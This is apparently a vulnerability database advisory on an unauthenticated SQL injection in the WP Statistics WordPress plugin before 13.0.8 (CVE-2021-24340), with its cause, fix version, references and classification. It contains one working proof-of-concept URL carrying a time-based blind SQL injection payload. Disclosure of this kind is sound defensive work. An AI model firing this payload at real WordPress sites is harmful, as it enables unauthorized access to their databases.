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WP Statistics < 13.0.8 - Unauthenticated SQL Injection

Description

The plugin relied on using the WordPress esc_sql() function on a field not delimited by quotes and did not first prepare the query. Additionally, the page, which should have been accessible to administrator only, was also available to any visitor, including unauthenticated ones.

Proof of Concept

https://example.com/wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))SQLi)&type=home 

Affects Plugins

wp-statistics
Fixed in version 13.0.8

References

CVE
CVE-2021-24340
URL
https://www.wordfence.com/blog/2021/05/over-600000-sites-impacted-by-wp-statistics-patch/
URL
https://plugins.trac.wordpress.org/changeset/2503579/wp-statistics/trunk/includes/admin/pages/class-wp-statistics-admin-page-pages.php

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Ram Gall (Wordfence)

Verified

Yes

WPVDB ID
d2970cfb-0aa9-4516-9a4b-32971f41a19c

Timeline

Publicly Published

2021-05-19 (about 1 years ago)

Added

2021-05-19 (about 1 years ago)

Last Updated

2021-05-21 (about 1 years ago)

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